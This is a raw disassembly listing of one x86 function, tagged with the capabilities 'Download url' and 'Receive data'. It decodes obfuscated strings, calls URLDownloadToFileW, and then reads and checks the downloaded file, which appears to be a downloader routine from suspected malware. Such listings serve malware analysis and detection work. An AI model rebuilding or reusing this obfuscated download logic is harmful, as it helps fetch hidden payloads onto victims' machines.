Function at 0x4064f0
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x448ba3
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x406b44
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], 0
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x406b4e
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.YzVY6TgtB0LD4QdD3dhKE1Y5GPhMbVKzoMJRz1hfBVQH9OAZHfKycMhW3YWC0VnkKRZcVPHNGiQitofBls8wERUIEfTkQLEzYhgAFQ7fJgYIcfSo
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.004038c0
test al, al
jne 0x406572
push 0x72
push str.YzVY6TgtB0LD4QdD3dhKE1Y5GPhMbVKzoMJRz1hfBVQH9OAZHfKycMhW3YWC0VnkKRZcVPHNGiQitofBls8wERUIEfTkQLEzYhgAFQ7fJgYIcfSo
lea ecx, [ebp - 0x18]
call fcn.00403de0
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push dword [0x45dba0]
mov eax, dword [ebp - 0x18]
push 0x45d9a0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x2c], esi
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0040afe0
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 3
push dword [eax]
lea eax, [ebp - 0x48]
push eax
call fcn.0040b360
mov byte [ebp - 4], 2
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
add esp, 0x14
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4065e1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x406b58
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push str.YU1XrYy0seJBc3OKCUQnCCI5
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call fcn.004038c0
test al, al
jne 0x40661f
push 0x18
push str.YU1XrYy0seJBc3OKCUQnCCI5
lea ecx, [ebp - 0x1c]
call fcn.00403de0
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x28], esi
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.0040afe0
add eax, 0x10
lea ecx, [ebp - 0x64]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 6
call fcn.0040a460
add esp, 4
mov byte [ebp - 4], 8
mov eax, edi
mov edx, dword [ebp - 0x64]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406677
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x48]
push 0
push 0
push dword [ebp - 0x24]
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x4067d3
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x406b62
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.YWE3kRQAU0Qyo0FEchAABVSCNw
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 9
call fcn.004038c0
test al, al
jne 0x4066d0
push 0x1d
push str.YWE3kRQAU0Qyo0FEchAABVSCNw
lea ecx, [ebp - 0x14]
call fcn.00403de0
mov byte [ebp - 4], 0xa
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x406b6c
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.andJHeQYW3Og01WARYd6Bigs3CxgY2Ow
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xb
call fcn.004038c0
test al, al
jne 0x406712
push 0x22
push str.andJHeQYW3Og01WARYd6Bigs3CxgY2Ow
lea ecx, [ebp - 0x20]
call fcn.00403de0
push ecx
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x6c], esp
push 0x453b2f
call fcn.00403000
push ecx
mov byte [ebp - 4], 0xd
mov ebx, esp
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x70], esp
add eax, 0xfffffff0
push ecx
mov edi, esp
mov dword [ebp - 0x68], eax
mov ecx, eax
mov dword [ebp - 0x10], edi
call fcn.0040afe0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004023d0
mov byte [ebp - 4], 0xe
mov ebx, esp
mov eax, dword [ebp - 0x14]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x10], edi
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.0040afe0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0xc
call fcn.00407260
mov edx, dword [ebp - 0x68]
or edi, 0xffffffff
add esp, 0xc
mov dword [0x45d990], 1
mov byte [ebp - 4], 0xa
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4067b1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov eax, edi
mov byte [ebp - 4], 8
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4067cc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor bl, bl
jmp 0x406ac1
sub esp, 0xc
lea ecx, [ebp - 0x140]
push dword [ebp - 0x24]
call fcn.0040a100
xor eax, eax
mov ecx, 0xf
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x44], al
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xe4], eax
je 0x406855
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x140]
call fcn.0040b4a0
lea ecx, [ebp - 0x130]
call fcn.0040ad10
test eax, eax
jne 0x406852
mov eax, dword [ebp - 0x140]
lea ecx, [ebp - 0x140]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00405620
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x44]
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x406862
mov edi, edx
mov eax, dword [ebp - 0x34]
add eax, edi
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x406871
mov edi, edx
push ecx
push eax
push edi
lea ecx, [ebp - 0x88]
call fcn.0040b540
push eax
mov ecx, ebx
call fcn.0040a640
mov ecx, dword [ebp - 0x74]
cmp ecx, 8
jb 0x4068c4
mov edx, dword [ebp - 0x88]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4068ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b76
push ecx
push edx
call fcn.00423d09
add esp, 8
push 3
push dword [0x45dba0]
lea eax, [ebp - 0x1c4]
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], eax
call fcn.0040a950
mov byte [ebp - 4], 0x11
xor eax, eax
mov edx, dword [ebp - 0x1c8]
mov ecx, edx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
lea edi, [ecx + 1]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x406906
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x60]
call fcn.00404090
cmp dword [ebp - 0x30], 0x10
lea edx, [ebp - 0x44]
jb 0x406925
mov edx, dword [ebp - 0x44]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
jb 0x406931
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
mov edi, eax
mov ebx, dword [ebp - 0x50]
cmp eax, ebx
jb 0x40693f
mov edi, ebx
sub edi, 4
jb 0x406955
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x40695a
add ecx, 4
add edx, 4
sub edi, 4
jae 0x406944
cmp edi, 0xfffffffc
je 0x40698e
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x406987
cmp edi, 0xfffffffd
je 0x40698e
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x406987
cmp edi, 0xfffffffe
je 0x40698e
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x406987
cmp edi, 0xffffffff
je 0x40698e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x40698e
sbb ebx, ebx
or ebx, 1
jmp 0x406990
xor ebx, ebx
test ebx, ebx
jne 0x4069a7
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x50]
cmp eax, ecx
jbe 0x4069a3
or ebx, 0xffffffff
jmp 0x4069a7
sbb ebx, ebx
neg ebx
mov eax, dword [ebp - 0x4c]
shr ebx, 0x1f
xor bl, 1
cmp eax, 0x10
jb 0x4069e3
mov edx, dword [ebp - 0x60]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4069d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b7b
push ecx
push edx
call fcn.00423d09
add esp, 8
mov eax, dword [ebp - 0x1c8]
lea ecx, [ebp - 0x1c4]
cmp eax, ecx
je 0x4069fc
push eax
call fcn.00428c24
add esp, 4
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x406a36
mov edx, dword [ebp - 0x44]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x406a2c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406b7b
push ecx
push edx
call fcn.00423d09
add esp, 8
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x144], eax
lea ecx, [ebp - 0x130]
call fcn.00409db0
mov eax, dword [ebp - 0x140]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x144], eax
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 0x12
push eax
mov dword [ebp - 0xd0], vtable.std::ios_base.0
call fcn.0040fd55
add esp, 4
or edi, 0xffffffff
mov byte [ebp - 4], 5
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406adf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406afa
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, edi
mov byte [ebp - 4], 0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406b15
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x406b31
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
call fcn.004288c3
call fcn.004288c3
int3